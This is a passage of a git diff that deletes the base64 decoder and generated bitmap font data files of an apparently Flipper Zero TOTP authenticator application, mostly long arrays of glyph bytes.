len, size_t* out_len, size_t* out_size) { - uint8_t* out; - uint8_t* pos; - uint8_t in[4]; - uint8_t block[4]; - uint8_t tmp; - size_t i; - size_t count; - size_t olen; - - count = 0; - for(i = 0; i < len; i++) { - if(get_dtable_value(src[i]) != 0x80) count++; - } - - if(count == 0 || count % 4) return NULL; - olen = count / 4 * 3; - pos = out = malloc(olen); - *out_size = olen; - if(out == NULL) return NULL; - count = 0; - for(i = 0; i < len; i++) { - tmp = get_dtable_value(src[i]); - if(tmp == 0x80) continue; - in[count] = src[i]; - block[count] = tmp; - count++; - if(count == 4) { - *pos++ = (block[0] << 2) | (block[1] >> 4); - *pos++ = (block[1] << 4) | (block[2] >> 2); - *pos++ = (block[2] << 6) | block[3]; - count = 0; - } - } - if(pos > out) { - if(in[2] == '=') - pos -= 2; - else if(in[3] == '=') - pos--; - } - *out_len = pos - out; - return out; -} \ No newline at end of file diff --git a/applications/external/totp/lib/base64/base64.h b/applications/external/totp/lib/base64/base64.h deleted file mode 100644 index 059ec5a90..000000000 --- a/applications/external/totp/lib/base64/base64.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include -#include - -/** - * @brief Decodes Base-64 encoded bytes into plain bytes. - * @param src Base-64 encoded bytes - * @param len Base-64 encoded bytes count - * @param[out] out_len decoded buffer length - * @param[out] out_size decoded buffer allocated size - * @return Decoded result buffer if successfully decoded; \c NULL otherwise - */ -uint8_t* base64_decode(const uint8_t* src, size_t len, size_t* out_len, size_t* out_size); \ No newline at end of file diff --git a/applications/external/totp/lib/fonts/712serif/712serif.c b/applications/external/totp/lib/fonts/712serif/712serif.c deleted file mode 100644 index 7d0b9f1e9..000000000 --- a/applications/external/totp/lib/fonts/712serif/712serif.c +++ /dev/null @@ -1,941 +0,0 @@ -#include "712serif.h" - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for 7:12 Serif 24pt -*/ - -/* Character bitmaps for 7:12 Serif 24pt */ -const uint8_t _712Serif_24ptBitmaps[] = { - /* @0 '-' (14 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xFC, - 0x0F, - 0xFC, - 0x0F, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @28 '0' (14 pixels wide) */ - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @56 '1' (14 pixels wide) */ - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xFC, - 0x00, - 0xFC, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xFC, - 0x0F, - 0xFC, - 0x0F, - - /* @84 '2' (14 pixels wide) */ - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0xC0, - 0x03, - 0xC0, - 0x03, - 0x30, - 0x00, - 0x30, - 0x00, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xFC, - 0x0F, - 0xFC, - 0x0F, - - /* @112 '3' (14 pixels wide) */ - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0xC0, - 0x03, - 0xC0, - 0x03, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @140 '4' (14 pixels wide) */ - 0x30, - 0x03, - 0x30, - 0x03, - 0x30, - 0x03, - 0x30, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0xFC, - 0x0F, - 0xFC, - 0x0F, - 0x00, - 0x03, - 0x00, - 0x03, - 0xC0, - 0x0F, - 0xC0, - 0x0F, - - /* @168 '5' (14 pixels wide) */ - 0xFC, - 0x0F, - 0xFC, - 0x0F, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0xFC, - 0x03, - 0xFC, - 0x03, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @196 '6' (14 pixels wide) */ - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0xFC, - 0x03, - 0xFC, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @224 '7' (14 pixels wide) */ - 0xFC, - 0x0F, - 0xFC, - 0x0F, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - - /* @252 '8' (14 pixels wide) */ - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @280 '9' (14 pixels wide) */ - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x0F, - 0xF0, - 0x0F, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @308 'B' (14 pixels wide) */ - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0xFC, - 0x0F, - 0xFC, - 0x0F, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0xFF, - 0x0F, - 0xFF, - 0x0F, - - /* @336 'C' (14 pixels wide) */ - 0xF0, - 0x33, - 0xF0, - 0x33, - 0x0C, - 0x3C, - 0x0C, - 0x3C, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x30, - 0x03, - 0x30, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @364 'D' (14 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xFF, - 0x03, - 0xFF, - 0x03, - - /* @392 'F' (14 pixels wide) */ - 0xFF, - 0x3F, - 0xFF, - 0x3F, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0xFC, - 0x03, - 0xFC, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x3F, - 0x00, - 0x3F, - 0x00, - - /* @420 'G' (14 pixels wide) */ - 0xF0, - 0x33, - 0xF0, - 0x33, - 0x0C, - 0x3C, - 0x0C, - 0x3C, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x3F, - 0x03, - 0x3F, - 0x03, - 0x30, - 0x03, - 0x30, - 0x0C, - 0x3C, - 0x0C, - 0x3C, - 0xF0, - 0x33, - 0xF0, - 0x33, - - /* @448 'H' (14 pixels wide) */ - 0x3F, - 0x3F, - 0x3F, - 0x3F, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xFC, - 0x0F, - 0xFC, - 0x0F, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x3F, - 0x3F, - 0x3F, - 0x3F, - - /* @476 'J' (14 pixels wide) */ - 0x00, - 0x3F, - 0x00, - 0x3F, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @504 'K' (14 pixels wide) */ - 0x3F, - 0x3F, - 0x3F, - 0x3F, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x3F, - 0x3F, - 0x3F, - 0x3F, - - /* @532 'M' (14 pixels wide) */ - 0x0F, - 0x3C, - 0x0F, - 0x3C, - 0x3C, - 0x0F, - 0x3C, - 0x0F, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x3F, - 0x3F, - 0x3F, - 0x3F, - - /* @560 'N' (14 pixels wide) */ - 0x0F, - 0x3F, - 0x0F, - 0x3F, - 0x3C, - 0x0C, - 0x3C, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0x0C, - 0x0F, - 0x0C, - 0x0F, - 0x3F, - 0x0C, - 0x3F, - 0x0C, - - /* @588 'P' (14 pixels wide) */ - 0xFF, - 0x0F, - 0xFF, - 0x0F, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x3C, - 0x30, - 0x3C, - 0x30, - 0xCC, - 0x0F, - 0xCC, - 0x0F, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x3F, - 0x00, - 0x3F, - 0x00, - - /* @616 'Q' (14 pixels wide) */ - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x03, - 0x30, - 0x03, - 0x30, - 0xF3, - 0x30, - 0xF3, - 0x30, - 0x03, - 0x33, - 0x03, - 0x33, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x33, - 0xF0, - 0x33, - - /* @644 'R' (14 pixels wide) */ - 0xFF, - 0x0F, - 0xFF, - 0x0F, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0xFC, - 0x0F, - 0xFC, - 0x0F, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x3F, - 0x3F, - 0x3F, - 0x3F, - - /* @672 'T' (14 pixels wide) */ - 0xFF, - 0x3F, - 0xFF, - 0x3F, - 0xC3, - 0x30, - 0xC3, - 0x30, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @700 'V' (14 pixels wide) */ - 0x3F, - 0x3F, - 0x3F, - 0x3F, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x30, - 0x03, - 0x30, - 0x03, - 0x30, - 0x03, - 0x30, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - - /* @728 'W' (14 pixels wide) */ - 0x3F, - 0x3F, - 0x3F, - 0x3F, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0x30, - 0x03, - 0x30, - 0x03, - 0x30, - 0x03, - 0x30, - 0x03, - - /* @756 'X' (14 pixels wide) */ - 0x3F, - 0x3F, - 0x3F, - 0x3F, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x30, - 0x03, - 0x30, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0x30, - 0x03, - 0x30, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x3F, - 0x3F, - 0x3F, - 0x3F, - - /* @784 'Y' (14 pixels wide) */ - 0x3F, - 0x3F, - 0x3F, - 0x3F, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x30, - 0x03, - 0x30, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xF0, - 0x03, - 0xF0, - 0x03, -}; - -/* Character descriptors for 7:12 Serif 24pt */ -/* { [Char width in bits], [Offset into _712Serif_24ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO _712Serif_24ptDescriptors[] = { - {14, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {14, 28}, /* 0 */ - {14, 56}, /* 1 */ - {14, 84}, /* 2 */ - {14, 112}, /* 3 */ - {14, 140}, /* 4 */ - {14, 168}, /* 5 */ - {14, 196}, /* 6 */ - {14, 224}, /* 7 */ - {14, 252}, /* 8 */ - {14, 280}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {14, 308}, /* B */ - {14, 336}, /* C */ - {14, 364}, /* D */ - {0, 0}, /* E */ - {14, 392}, /* F */ - {14, 420}, /* G */ - {14, 448}, /* H */ - {0, 0}, /* I */ - {14, 476}, /* J */ - {14, 504}, /* K */ - {0, 0}, /* L */ - {14, 532}, /* M */ - {14, 560}, /* N */ - {0, 0}, /* O */ - {14, 588}, /* P */ - {14, 616}, /* Q */ - {14, 644}, /* R */ - {0, 0}, /* S */ - {14, 672}, /* T */ - {0, 0}, /* U */ - {14, 700}, /* V */ - {14, 728}, /* W */ - {14, 756}, /* X */ - {14, 784}, /* Y */ -}; - -/* Font information for 7:12 Serif 24pt */ -const FONT_INFO _712Serif_24ptFontInfo = { - "712 Serif", - 14, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - _712Serif_24ptDescriptors, /* Character descriptor array */ - _712Serif_24ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/712serif/712serif.h b/applications/external/totp/lib/fonts/712serif/712serif.h deleted file mode 100644 index 81959064d..000000000 --- a/applications/external/totp/lib/fonts/712serif/712serif.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -/* Font data for 7:12 Serif 24pt */ -extern const FONT_INFO _712Serif_24ptFontInfo; diff --git a/applications/external/totp/lib/fonts/available_fonts.c b/applications/external/totp/lib/fonts/available_fonts.c deleted file mode 100644 index dd019a758..000000000 --- a/applications/external/totp/lib/fonts/available_fonts.c +++ /dev/null @@ -1,23 +0,0 @@ -#include "available_fonts.h" -#include "712serif/712serif.h" -#include "bedstead/bedstead.h" -#include "dpcomic/dpcomic.h" -#include "funclimbing/funclimbing.h" -#include "graph35pix/graph35pix.h" -#include "karma_future/karma_future.h" -#include "mode_nine/mode_nine.h" -#include "pixelflag/pixelflag.h" -#include "redhat_mono/redhat_mono.h" -#include "zector/zector.h" - -const FONT_INFO* const available_fonts[AVAILABLE_FONTS_COUNT] = { - &modeNine_15ptFontInfo, - &_712Serif_24ptFontInfo, - &bedstead_17ptFontInfo, - &dPComic_18ptFontInfo, - &funclimbingDemo_18ptFontInfo, - &graph35pix_12ptFontInfo, - &karmaFuture_14ptFontInfo, - &pixelFlag_18ptFontInfo, - &redHatMono_16ptFontInfo, - &zector_18ptFontInfo}; diff --git a/applications/external/totp/lib/fonts/available_fonts.h b/applications/external/totp/lib/fonts/available_fonts.h deleted file mode 100644 index fd4b0c1da..000000000 --- a/applications/external/totp/lib/fonts/available_fonts.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once - -#include "font_info.h" - -#define AVAILABLE_FONTS_COUNT (10) - -extern const FONT_INFO* const available_fonts[AVAILABLE_FONTS_COUNT]; diff --git a/applications/external/totp/lib/fonts/bedstead/bedstead.c b/applications/external/totp/lib/fonts/bedstead/bedstead.c deleted file mode 100644 index 6b23a39d4..000000000 --- a/applications/external/totp/lib/fonts/bedstead/bedstead.c +++ /dev/null @@ -1,1057 +0,0 @@ -#include "bedstead.h" - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for Bedstead 17pt -*/ - -/* Character bitmaps for Bedstead 17pt */ -const uint8_t bedstead_17ptBitmaps[] = { - /* @0 '-' (13 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @32 '0' (13 pixels wide) */ - 0xE0, - 0x00, - 0xF0, - 0x01, - 0xF8, - 0x03, - 0xBC, - 0x07, - 0x1E, - 0x0F, - 0x0F, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x0F, - 0x1E, - 0x1E, - 0x0F, - 0xBC, - 0x07, - 0xF8, - 0x03, - 0xF0, - 0x01, - 0xE0, - 0x00, - - /* @64 '1' (13 pixels wide) */ - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xF8, - 0x00, - 0xF8, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xF8, - 0x03, - 0xF8, - 0x03, - - /* @96 '2' (13 pixels wide) */ - 0xF0, - 0x07, - 0xFC, - 0x0F, - 0x1E, - 0x1E, - 0x1E, - 0x1C, - 0x0E, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1E, - 0xC0, - 0x0F, - 0xE0, - 0x07, - 0xF0, - 0x00, - 0x7C, - 0x00, - 0x3E, - 0x00, - 0x1E, - 0x00, - 0x0E, - 0x00, - 0xFE, - 0x1F, - 0xFE, - 0x1F, - - /* @128 '3' (13 pixels wide) */ - 0xFE, - 0x1F, - 0xFE, - 0x1F, - 0x00, - 0x1C, - 0x00, - 0x1E, - 0x00, - 0x0F, - 0x00, - 0x0F, - 0x00, - 0x07, - 0xE0, - 0x07, - 0xE0, - 0x0F, - 0x00, - 0x1E, - 0x00, - 0x1C, - 0x0E, - 0x1C, - 0x1E, - 0x1C, - 0x3E, - 0x0E, - 0xFC, - 0x0F, - 0xF8, - 0x07, - - /* @160 '4' (13 pixels wide) */ - 0x80, - 0x03, - 0x80, - 0x03, - 0xE0, - 0x03, - 0xF0, - 0x03, - 0xF8, - 0x03, - 0xBC, - 0x03, - 0x9E, - 0x03, - 0x8F, - 0x03, - 0x87, - 0x03, - 0xFF, - 0x0F, - 0xFF, - 0x0F, - 0x80, - 0x03, - 0x80, - 0x03, - 0x80, - 0x03, - 0x80, - 0x03, - 0x80, - 0x03, - - /* @192 '5' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x07, - 0x00, - 0x07, - 0x00, - 0xFF, - 0x07, - 0xFF, - 0x0F, - 0x00, - 0x1E, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x07, - 0x1C, - 0x0F, - 0x1E, - 0xFE, - 0x0F, - 0xFC, - 0x07, - 0xFC, - 0x07, - - /* @224 '6' (13 pixels wide) */ - 0xE0, - 0x07, - 0xF0, - 0x07, - 0x78, - 0x00, - 0x3C, - 0x00, - 0x1E, - 0x00, - 0x0F, - 0x00, - 0x07, - 0x00, - 0xFF, - 0x07, - 0xFF, - 0x0F, - 0x07, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x0F, - 0x1E, - 0x1E, - 0x0F, - 0xFE, - 0x0F, - 0xFC, - 0x07, - - /* @256 '7' (13 pixels wide) */ - 0xFE, - 0x1F, - 0xFE, - 0x1F, - 0x00, - 0x1C, - 0x00, - 0x1E, - 0x00, - 0x0F, - 0x80, - 0x07, - 0xC0, - 0x03, - 0xE0, - 0x01, - 0xF0, - 0x00, - 0x78, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - - /* @288 '8' (13 pixels wide) */ - 0xFC, - 0x07, - 0xFE, - 0x0F, - 0x0F, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x0F, - 0x1E, - 0xFE, - 0x0F, - 0xFE, - 0x0F, - 0x0F, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x0F, - 0x1E, - 0x1E, - 0x0F, - 0xFE, - 0x0F, - 0xFC, - 0x07, - - /* @320 '9' (13 pixels wide) */ - 0xFC, - 0x07, - 0xFE, - 0x0F, - 0x0F, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x0F, - 0x1C, - 0xFE, - 0x1F, - 0xFC, - 0x1F, - 0x00, - 0x1C, - 0x00, - 0x1E, - 0x00, - 0x0F, - 0x80, - 0x07, - 0xC0, - 0x03, - 0xFC, - 0x01, - 0xFC, - 0x00, - - /* @352 'B' (13 pixels wide) */ - 0xFF, - 0x07, - 0xFF, - 0x0F, - 0x07, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1E, - 0xFF, - 0x0F, - 0xFF, - 0x0F, - 0x07, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1E, - 0x07, - 0x0F, - 0xFF, - 0x0F, - 0xFF, - 0x07, - - /* @384 'C' (13 pixels wide) */ - 0xFC, - 0x01, - 0xFE, - 0x07, - 0x0F, - 0x0F, - 0x07, - 0x0F, - 0x07, - 0x0E, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x0F, - 0x8F, - 0x0F, - 0xFE, - 0x07, - 0xFC, - 0x03, - - /* @416 'D' (13 pixels wide) */ - 0xFF, - 0x07, - 0xFF, - 0x0F, - 0x07, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1E, - 0x07, - 0x0F, - 0xFF, - 0x0F, - 0xFF, - 0x07, - - /* @448 'F' (13 pixels wide) */ - 0xFF, - 0x0F, - 0xFF, - 0x0F, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - - /* @480 'G' (13 pixels wide) */ - 0xFC, - 0x07, - 0xFE, - 0x0F, - 0x0F, - 0x1F, - 0x0F, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x87, - 0x1F, - 0x87, - 0x1F, - 0x07, - 0x1C, - 0x0F, - 0x1C, - 0xFE, - 0x1F, - 0xFC, - 0x1F, - 0xFC, - 0x1F, - - /* @512 'H' (13 pixels wide) */ - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - - /* @544 'J' (13 pixels wide) */ - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x0E, - 0x1C, - 0x1E, - 0x1C, - 0x3E, - 0x1E, - 0xFC, - 0x0F, - 0xF8, - 0x07, - - /* @576 'K' (13 pixels wide) */ - 0x07, - 0x0E, - 0x07, - 0x0F, - 0x87, - 0x07, - 0xC7, - 0x03, - 0xE7, - 0x01, - 0xF7, - 0x00, - 0x7F, - 0x00, - 0x3F, - 0x00, - 0x3F, - 0x00, - 0x7F, - 0x00, - 0xF7, - 0x00, - 0xE7, - 0x01, - 0xC7, - 0x03, - 0x87, - 0x07, - 0x07, - 0x0F, - 0x07, - 0x0E, - - /* @608 'M' (13 pixels wide) */ - 0x07, - 0x1C, - 0x07, - 0x1C, - 0xBF, - 0x1F, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0xE7, - 0x1C, - 0xE7, - 0x1C, - 0xE7, - 0x1C, - 0xE7, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - - /* @640 'N' (13 pixels wide) */ - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x3F, - 0x1C, - 0x7F, - 0x1C, - 0xFF, - 0x1C, - 0xE7, - 0x1F, - 0xC7, - 0x1F, - 0x87, - 0x1F, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - - /* @672 'P' (13 pixels wide) */ - 0xFF, - 0x07, - 0xFF, - 0x0F, - 0x07, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1E, - 0xFF, - 0x0F, - 0xFF, - 0x07, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - - /* @704 'Q' (13 pixels wide) */ - 0xFC, - 0x07, - 0xFE, - 0x0F, - 0x0F, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0xE7, - 0x1C, - 0xE7, - 0x1F, - 0xC7, - 0x0F, - 0x8F, - 0x07, - 0xDE, - 0x0F, - 0xFE, - 0x1F, - 0xFC, - 0x1C, - - /* @736 'R' (13 pixels wide) */ - 0xFF, - 0x07, - 0xFF, - 0x0F, - 0x07, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1E, - 0xFF, - 0x0F, - 0xFF, - 0x07, - 0xE7, - 0x00, - 0xE7, - 0x01, - 0xC7, - 0x03, - 0x87, - 0x07, - 0x07, - 0x0F, - 0x07, - 0x1E, - 0x07, - 0x1C, - - /* @768 'T' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - - /* @800 'V' (13 pixels wide) */ - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x1F, - 0x1F, - 0xBC, - 0x07, - 0xB8, - 0x03, - 0xB8, 